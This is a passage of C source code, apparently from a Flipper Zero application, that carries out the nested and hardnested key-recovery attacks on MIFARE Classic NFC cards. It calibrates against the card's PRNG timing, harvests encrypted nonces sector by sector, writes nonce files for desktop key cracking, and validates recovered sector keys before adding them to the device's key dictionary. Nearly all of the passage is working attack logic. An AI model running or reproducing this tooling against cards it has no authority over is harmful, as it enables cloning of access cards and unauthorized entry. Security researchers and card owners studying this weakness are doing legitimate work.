  653. "Accured nonces for sector %u, block %u, key_type: %u",
  654. sector,
  655. mifare_nested_worker_get_block_by_sector(sector),
  656. key_type);
  657. info = nonces.nonces[sector][key_type][0];
  658. info->collected = true;
  659. info->skipped = false;
  660. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  661. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  662. nonces.nonces[sector][key_type][0] = info;
  663. nonces.cuid = result.cuid;
  664. nonces.sector_count = sector_count;
  665. mifare_nested_worker->context->nonces = &nonces;
  666. mifare_nested_worker->callback(
  667. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  668. break;
  669. } else {
  670. mifare_nested_worker->callback(
  671. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  672. }
  673. }
  674. }
  675. }
  676. break;
  677. }
  678. SaveNoncesResult_t* result =
  679. mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
  680. if(result->saved) {
  681. mifare_nested_worker->callback(
  682. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  683. } else {
  684. mifare_nested_worker->context->save_state = result;
  685. mifare_nested_worker->callback(
  686. MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
  687. }
  688. nfc_deactivate();
  689. }
  690. void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
  691. NonceList_t nonces;
  692. Storage* storage = furi_record_open(RECORD_STORAGE);
  693. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  694. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  695. FuriString* folder_path = furi_string_alloc();
  696. FurryHalNfcDevData data = {};
  697. nested_get_data(&data);
  698. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  699. uint64_t key = 0; // Found key for attack
  700. uint32_t found_key_type = 0;
  701. uint32_t key_block = 0;
  702. uint32_t sector_count = 0;
  703. uint32_t cuid = 0;
  704. furry_hal_nfc_activate_nfca(200, &cuid);
  705. FURI_LOG_I(TAG, "Running Hard Nested attack");
  706. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  707. mifare_nested_worker_write_uid_string(&data, tag_info);
  708. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  709. furi_string_free(tag_info);
  710. if(type == MfClassicType4k) {
  711. sector_count = 40;
  712. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  713. } else if(type == MfClassicType1k) {
  714. sector_count = 16;
  715. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  716. } else { // if(type == MfClassicTypeMini)
  717. sector_count = 5;
  718. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  719. }
  720. furi_string_set(folder_path, NESTED_FOLDER);
  721. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  722. mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
  723. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  724. furi_string_free(folder_path);
  725. bool ok = mifare_nested_worker_read_key_cache(&data, mf_data);
  726. if(ok) {
  727. ok = mifare_nested_worker_check_initial_keys(
  728. &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type);
  729. if(!ok) {
  730. free_nonces(&nonces, sector_count, 1);
  731. }
  732. }
  733. if(!ok) {
  734. mifare_nested_worker->callback(
  735. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  736. nfc_deactivate();
  737. return;
  738. }
  739. FURI_LOG_I(
  740. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  741. FurryHalNfcTxRxContext tx_rx = {};
  742. nonces.tries = 1;
  743. nonces.hardnested_states = 0;
  744. nonces.sector_count = sector_count;
  745. mifare_nested_worker->context->nonces = &nonces;
  746. mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  747. mifare_nested_worker->callback(
  748. MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
  749. for(uint8_t sector = 0; sector < sector_count &&
  750. mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
  751. sector++) {
  752. for(uint8_t key_type = 0;
  753. key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
  754. key_type++) {
  755. Nonces* info = nonces.nonces[sector][key_type][0];
  756. if(info->collected) {
  757. FURI_LOG_I(
  758. TAG,
  759. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  760. sector,
  761. mifare_nested_worker_get_block_by_sector(sector),
  762. key_type);
  763. info->skipped = true;
  764. nonces.nonces[sector][key_type][0] = info;
  765. mifare_nested_worker->context->nonces = &nonces;
  766. mifare_nested_worker->callback(
  767. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  768. continue;
  769. }
  770. if(!nested_check_block(
  771. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  772. FURI_LOG_E(
  773. TAG,
  774. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  775. sector,
  776. mifare_nested_worker_get_block_by_sector(sector),
  777. key_type);
  778. info->invalid = true;
  779. nonces.nonces[sector][key_type][0] = info;
  780. mifare_nested_worker->context->nonces = &nonces;
  781. mifare_nested_worker->callback(
  782. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  783. continue;
  784. }
  785. while(!info->collected &&
  786. mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  787. Stream* file_stream = file_stream_alloc(storage);
  788. FuriString* hardnested_file = furi_string_alloc();
  789. mifare_nested_worker_get_hardnested_file_path(
  790. &data, hardnested_file, sector, key_type);
  791. file_stream_open(
  792. file_stream,
  793. furi_string_get_cstr(hardnested_file),
  794. FSAM_READ_WRITE,
  795. FSOM_CREATE_ALWAYS);
  796. FuriString* header = furi_string_alloc_printf(
  797. "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
  798. NESTED_NONCE_FORMAT_VERSION,
  799. NESTED_RECOVER_KEYS_GITHUB_LINK,
  800. !key_type ? 'A' : 'B',
  801. cuid,
  802. sector);
  803. stream_write_string(file_stream, header);
  804. furi_string_free(header);
  805. uint32_t first_byte_sum = 0;
  806. uint32_t* found = malloc(sizeof(uint32_t) * 256);
  807. for(uint32_t i = 0; i < 256; i++) {
  808. found[i] = 0;
  809. }
  810. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  811. struct nonce_info_hard result = nested_hard_nonce_attack(
  812. &tx_rx,
  813. key_block,
  814. found_key_type,
  815. mifare_nested_worker_get_block_by_sector(sector),
  816. key_type,
  817. key,
  818. found,
  819. &first_byte_sum,
  820. file_stream);
  821. if(result.static_encrypted) {
  822. file_stream_close(file_stream);
  823. storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));
  824. furi_string_free(hardnested_file);
  825. free(found);
  826. nfc_deactivate();
  827. mifare_nested_worker->callback(
  828. MifareNestedWorkerEventStaticEncryptedNonce,
  829. mifare_nested_worker->context);
  830. return;
  831. }
  832. if(result.full) {
  833. uint32_t states = 0;
  834. for(uint32_t i = 0; i < 256; i++) {
  835. states += found[i];
  836. }
  837. nonces.hardnested_states = states;
  838. mifare_nested_worker->callback(
  839. MifareNestedWorkerEventHardnestedStatesFound,
  840. mifare_nested_worker->context);
  841. FURI_LOG_D(TAG, "Found states: %lu", states);
  842. if(states == 256) {
  843. FURI_LOG_D(
  844. TAG, "All states collected, first_byte_sum: %lu", first_byte_sum);
  845. bool valid = false;
  846. for(uint8_t i = 0; i < sizeof(sums); i++) {
  847. if(sums[i] == first_byte_sum) {
  848. valid = true;
  849. break;
  850. }
  851. }
  852. if(!valid) {
  853. FURI_LOG_E(TAG, "Invalid first_byte_sum!");
  854. break;
  855. }
  856. info->collected = true;
  857. info->hardnested = true;
  858. info->skipped = false;
  859. nonces.cuid = result.cuid;
  860. nonces.nonces[sector][key_type][0] = info;
  861. mifare_nested_worker->context->nonces = &nonces;
  862. mifare_nested_worker->callback(
  863. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  864. break;
  865. }
  866. } else {
  867. mifare_nested_worker->callback(
  868. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  869. }
  870. }
  871. free(found);
  872. furi_string_free(hardnested_file);
  873. file_stream_close(file_stream);
  874. }
  875. }
  876. }
  877. SaveNoncesResult_t* result =
  878. mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
  879. if(result->saved) {
  880. mifare_nested_worker->callback(
  881. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  882. } else {
  883. mifare_nested_worker->context->save_state = result;
  884. mifare_nested_worker->callback(
  885. MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
  886. }
  887. nfc_deactivate();
  888. }
  889. void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
  890. NonceList_t nonces;
  891. Storage* storage = furi_record_open(RECORD_STORAGE);
  892. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  893. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  894. FuriString* folder_path = furi_string_alloc();
  895. FurryHalNfcDevData data = {};
  896. nested_get_data(&data);
  897. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  898. uint64_t key = 0; // Found key for attack
  899. uint32_t found_key_type = 0;
  900. uint32_t key_block = 0;
  901. uint32_t sector_count = 0;
  902. uint32_t delay = 0;
  903. uint32_t distance = 0;
  904. uint32_t tries_count = 1;
  905. FURI_LOG_I(TAG, "Running Nested attack");
  906. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  907. mifare_nested_worker_write_uid_string(&data, tag_info);
  908. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  909. furi_string_free(tag_info);
  910. if(type == MfClassicType4k) {
  911. sector_count = 40;
  912. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  913. } else if(type == MfClassicType1k) {
  914. sector_count = 16;
  915. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  916. } else { // if(type == MfClassicTypeMini)
  917. sector_count = 5;
  918. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  919. }
  920. furi_string_set(folder_path, NESTED_FOLDER);
  921. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  922. furi_string_free(folder_path);
  923. bool ok = mifare_nested_worker_read_key_cache(&data, mf_data);
  924. if(ok) {
  925. ok = mifare_nested_worker_check_initial_keys(
  926. &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type);
  927. if(!ok) {
  928. free_nonces(&nonces, sector_count, 3);
  929. }
  930. }
  931. if(!ok) {
  932. mifare_nested_worker->callback(
  933. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  934. nfc_deactivate();
  935. return;
  936. }
  937. FURI_LOG_I(
  938. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  939. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  940. FurryHalNfcTxRxContext tx_rx = {};
  941. uint32_t first_distance = 0;
  942. uint32_t second_distance = 0;
  943. mifare_nested_worker->callback(
  944. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  945. distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
  946. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  947. first_distance =
  948. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  949. }
  950. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  951. second_distance =
  952. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
  953. }
  954. if(first_distance == 0 && second_distance == 0) {
  955. nfc_deactivate();
  956. free_nonces(&nonces, sector_count, 3);
  957. mifare_nested_worker_change_state(
  958. mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
  959. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  960. return;
  961. }
  962. if(first_distance < second_distance - 100 && second_distance > 100) {
  963. FURI_LOG_E(
  964. TAG,
  965. "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
  966. first_distance,
  967. second_distance);
  968. struct distance_info info =
  969. nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
  970. if(info.max_prng - info.min_prng > 150) {
  971. FURI_LOG_W(
  972. TAG,
  973. "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
  974. info.max_prng,
  975. info.min_prng,
  976. info.max_prng - info.min_prng);
  977. delay = 1;
  978. } else {
  979. FURI_LOG_I(
  980. TAG,
  981. "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
  982. distance =
  983. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  984. delay = 2;
  985. tries_count = 3;
  986. }
  987. }
  988. if(distance == 0 || delay == 1) {
  989. bool failed = false;
  990. // Tag need delay or unpredictable PRNG
  991. FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
  992. mifare_nested_worker->callback(
  993. MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
  994. delay = mifare_nested_worker_predict_delay(
  995. &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
  996. if(delay == 1) {
  997. FURI_LOG_E(TAG, "Can't determine delay");
  998. // Check that we didn't lost tag
  999. FurryHalNfcDevData lost_tag_data = {};
  1000. nested_get_data(&lost_tag_data);
  1001. if(lost_tag_data.uid_len == 0) {
  1002. // We lost it.
  1003. mifare_nested_worker->callback(
  1004. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  1005. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
  1006. lost_tag_data.cuid != data.cuid) {
  1007. furi_delay_ms(250);
  1008. nested_get_data(&lost_tag_data);
  1009. }
  1010. mifare_nested_worker->callback(
  1011. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  1012. continue;
  1013. }
  1014. failed = true;
  1015. }
  1016. if(delay == 2) {
  1017. FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested");
  1018. nfc_deactivate();
  1019. free_nonces(&nonces, sector_count, 3);
  1020. mifare_nested_worker_change_state(
  1021. mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
  1022. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  1023. return;
  1024. }
  1025. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
  1026. distance = nested_calibrate_distance(
  1027. &tx_rx, key_block, found_key_type, key, delay, false);
  1028. }
  1029. if(distance == 0 && !failed) {
  1030. FURI_LOG_E(TAG, "Found delay, but can't find distance");
  1031. failed = true;
  1032. }
  1033. if(failed) {
  1034. nfc_deactivate();
  1035. mifare_nested_worker->callback(
  1036. MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
  1037. free_nonces(&nonces, sector_count, 3);
  1038. return;
  1039. }
  1040. tries_count = 3;
  1041. }
  1042. mifare_nested_worker->context->nonces = &nonces;
  1043. mifare_nested_worker->callback(
  1044. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1045. for(uint8_t tries = 0; tries < tries_count; tries++) {
  1046. for(uint8_t sector = 0; sector < sector_count; sector++) {
  1047. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  1048. Nonces* info = nonces.nonces[sector][key_type][tries];
  1049. if(info->collected) {
  1050. FURI_LOG_I(
  1051. TAG,
  1052. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  1053. sector,
  1054. mifare_nested_worker_get_block_by_sector(sector),
  1055. key_type);
  1056. info->skipped = true;
  1057. nonces.nonces[sector][key_type][tries] = info;
  1058. mifare_nested_worker->context->nonces = &nonces;
  1059. mifare_nested_worker->callback(
  1060. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1061. continue;
  1062. }
  1063. if(!nested_check_block(
  1064. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  1065. FURI_LOG_E(
  1066. TAG,
  1067. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  1068. sector,
  1069. mifare_nested_worker_get_block_by_sector(sector),
  1070. key_type);
  1071. info->skipped = true;
  1072. nonces.nonces[sector][key_type][0] = info;
  1073. mifare_nested_worker->context->nonces = &nonces;
  1074. mifare_nested_worker->callback(
  1075. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1076. continue;
  1077. }
  1078. while(!info->collected) {
  1079. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  1080. break;
  1081. }
  1082. struct nonce_info result = nested_attack(
  1083. &tx_rx,
  1084. key_block,
  1085. found_key_type,
  1086. mifare_nested_worker_get_block_by_sector(sector),
  1087. key_type,
  1088. key,
  1089. distance,
  1090. delay);
  1091. if(result.full) {
  1092. FURI_LOG_I(
  1093. TAG,
  1094. "Accured nonces for sector %u, block %u, key_type: %u",
  1095. sector,
  1096. mifare_nested_worker_get_block_by_sector(sector),
  1097. key_type);
  1098. info = nonces.nonces[sector][key_type][tries];
  1099. info->collected = true;
  1100. info->skipped = false;
  1101. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  1102. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  1103. memcpy(&info->parity, result.parity, sizeof(result.parity));
  1104. nonces.nonces[sector][key_type][tries] = info;
  1105. nonces.cuid = result.cuid;
  1106. nonces.sector_count = sector_count;
  1107. nonces.tries = tries_count;
  1108. mifare_nested_worker->context->nonces = &nonces;
  1109. mifare_nested_worker->callback(
  1110. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1111. break;
  1112. } else {
  1113. mifare_nested_worker->callback(
  1114. MifareNestedWorkerEventNoTagDetected,
  1115. mifare_nested_worker->context);
  1116. }
  1117. }
  1118. }
  1119. }
  1120. }
  1121. break;
  1122. }
  1123. SaveNoncesResult_t* result = mifare_nested_worker_write_nonces(
  1124. &data, storage, &nonces, tries_count, 3, sector_count, delay, distance);
  1125. if(result->saved) {
  1126. mifare_nested_worker->callback(
  1127. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  1128. } else {
  1129. mifare_nested_worker->context->save_state = result;
  1130. mifare_nested_worker->callback(
  1131. MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
  1132. }
  1133. nfc_deactivate();
  1134. }
  1135. bool* mifare_nested_worker_check_keys_exists(
  1136. Storage* storage,
  1137. char* path,
  1138. uint64_t* keys,
  1139. uint32_t key_count,
  1140. MifareNestedWorker* mifare_nested_worker) {
  1141. bool* old_keys = malloc(sizeof(bool) * key_count);
  1142. Stream* file_stream = file_stream_alloc(storage);
  1143. file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
  1144. FuriString* key_strings[key_count];
  1145. for(uint32_t i = 0; i < key_count; i++) {
  1146. old_keys[i] = false;
  1147. key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]);
  1148. }
  1149. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1150. FuriString* next_line = furi_string_alloc();
  1151. if(!stream_read_line(file_stream, next_line)) {
  1152. break;
  1153. }
  1154. for(uint32_t i = 0; i < key_count; i++) {
  1155. if(keys[i] == (uint64_t)-1) continue;
  1156. if(furi_string_cmp(next_line, key_strings[i]) == 0) {
  1157. old_keys[i] = true;
  1158. }
  1159. }
  1160. furi_string_free(next_line);
  1161. }
  1162. for(uint32_t i = 0; i < key_count; i++) {
  1163. furi_string_free(key_strings[i]);
  1164. }
  1165. file_stream_close(file_stream);
  1166. stream_free(file_stream);
  1167. return old_keys;
  1168. }
  1169. void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
  1170. Stream* file_stream = file_stream_alloc(storage);
  1171. file_stream_open(
  1172. file_stream,
  1173. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1174. FSAM_READ_WRITE,
  1175. FSOM_OPEN_APPEND);
  1176. stream_write_string(file_stream, key);
  1177. file_stream_close(file_stream);
  1178. }
  1179. void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
  1180. KeyInfo_t* key_info = mifare_nested_worker->context->keys;
  1181. Storage* storage = furi_record_open(RECORD_STORAGE);
  1182. Stream* file_stream = file_stream_alloc(storage);
  1183. FuriString* next_line = furi_string_alloc();
  1184. FuriString* path = furi_string_alloc();
  1185. FurryHalNfcDevData data = {};
  1186. nested_get_data(&data);
  1187. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  1188. NestedCheckKeyResult result = NestedCheckKeyNoTag;
  1189. FurryHalNfcTxRxContext tx_rx = {};
  1190. uint32_t key_count = 0;
  1191. uint32_t sector_key_count = 0;
  1192. uint64_t keys[80];
  1193. bool found_keys[2][40];
  1194. bool unique_keys[2][40];
  1195. uint32_t sector_count = 0;
  1196. if(type == MfClassicType4k) {
  1197. sector_count = 40;
  1198. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  1199. } else if(type == MfClassicType1k) {
  1200. sector_count = 16;
  1201. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  1202. } else { // if(type == MfClassicTypeMini)
  1203. sector_count = 5;
  1204. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  1205. }
  1206. uint32_t keys_count = sector_count * 2;
  1207. for(uint8_t key = 0; key < 2; key++) {
  1208. for(uint8_t i = 0; i < sector_count; i++) {
  1209. found_keys[key][i] = false;
  1210. unique_keys[key][i] = false;
  1211. }
  1212. }
  1213. for(uint8_t i = 0; i < keys_count; i++) {
  1214. keys[i] = -1;
  1215. }
  1216. mifare_nested_worker_get_found_keys_file_path(&data, path);
  1217. if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1218. FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
  1219. file_stream_close(file_stream);
  1220. mifare_nested_worker_get_nonces_file_path(&data, path);
  1221. if(!file_stream_open(
  1222. file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1223. mifare_nested_worker->callback(
  1224. MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
  1225. } else {
  1226. mifare_nested_worker->callback(
  1227. MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
  1228. }
  1229. file_stream_close(file_stream);
  1230. stream_free(file_stream);
  1231. furi_string_free(path);
  1232. furi_string_free(next_line);
  1233. furi_record_close(RECORD_STORAGE);
  1234. return;
  1235. };
  1236. while(true) {
  1237. if(!stream_read_line(file_stream, next_line)) {
  1238. break;
  1239. }
  1240. if(furi_string_start_with_str(next_line, "Key")) {
  1241. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1242. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1243. atoi((char[]){furi_string_get_char(next_line, 14)});
  1244. if(!unique_keys[key_type][sector]) {
  1245. unique_keys[key_type][sector] = true;
  1246. sector_key_count++;
  1247. }
  1248. }
  1249. key_count++;
  1250. }
  1251. stream_rewind(file_stream);
  1252. key_info->total_keys = key_count;
  1253. key_info->sector_keys = sector_key_count;
  1254. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1255. if(!stream_read_line(file_stream, next_line)) {
  1256. break;
  1257. }
  1258. if(furi_string_start_with_str(next_line, "Key")) {
  1259. // Key X sector XX: XX XX XX XX XX XX
  1260. // 0000000000111111111122222222223333
  1261. // 0123456789012345678901234567890123
  1262. uint8_t keyChar[6];
  1263. uint8_t count = 0;
  1264. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1265. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1266. atoi((char[]){furi_string_get_char(next_line, 14)});
  1267. for(uint8_t i = 17; i < 33; i += 3) {
  1268. hex_char_to_uint8(
  1269. furi_string_get_char(next_line, i),
  1270. furi_string_get_char(next_line, i + 1),
  1271. &keyChar[count]);
  1272. count++;
  1273. }
  1274. uint64_t key = nfc_util_bytes2num(keyChar, 6);
  1275. key_info->checked_keys++;
  1276. if(found_keys[key_type][sector]) {
  1277. mifare_nested_worker->callback(
  1278. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1279. continue;
  1280. }
  1281. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1282. result = nested_check_key(
  1283. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
  1284. if(result == NestedCheckKeyNoTag) {
  1285. mifare_nested_worker->callback(
  1286. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  1287. furi_delay_ms(250);
  1288. } else {
  1289. break;
  1290. }
  1291. }
  1292. if(result == NestedCheckKeyValid) {
  1293. FURI_LOG_I(
  1294. TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key);
  1295. bool exists = false;
  1296. for(uint8_t i = 0; i < keys_count; i++) {
  1297. if(keys[i] == key) {
  1298. exists = true;
  1299. }
  1300. }
  1301. if(!exists) {
  1302. keys[key_info->found_keys] = key;
  1303. }
  1304. key_info->found_keys++;
  1305. found_keys[key_type][sector] = true;
  1306. }
  1307. mifare_nested_worker->callback(
  1308. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1309. }
  1310. }
  1311. furi_string_free(next_line);
  1312. file_stream_close(file_stream);
  1313. stream_free(file_stream);
  1314. mifare_nested_worker->callback(
  1315. MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
  1316. bool* old_keys = mifare_nested_worker_check_keys_exists(
  1317. storage,
  1318. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1319. keys,
  1320. keys_count,
  1321. mifare_nested_worker);
  1322. for(uint8_t i = 0; i < keys_count; i++) {
  1323. if(old_keys[i]) {
  1324. keys[i] = -1;
  1325. }
  1326. }
  1327. old_keys = mifare_nested_worker_check_keys_exists(
  1328. storage,
  1329. EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
  1330. keys,
  1331. keys_count,
  1332. mifare_nested_worker);
  1333. for(uint8_t i = 0; i < keys_count; i++) {
  1334. if(old_keys[i]) {
  1335. keys[i] = -1;
  1336. }
  1337. }
  1338. for(uint8_t i = 0; i < keys_count; i++) {
  1339. if(keys[i] == (uint64_t)-1) continue;
  1340. FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]);
  1341. mifare_nested_worker_write_key(storage, key_string);
  1342. FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
  1343. key_info->added_keys++;
  1344. furi_string_free(key_string);
  1345. }
  1346. if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
  1347. FURI_LOG_E(TAG, "Failed to remove .keys file");
  1348. }
  1349. furi_record_close(RECORD_STORAGE);
  1350. furi_string_free(path);
  1351. mifare_nested_worker->callback(
  1352. MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
  1353. return;
  1354. }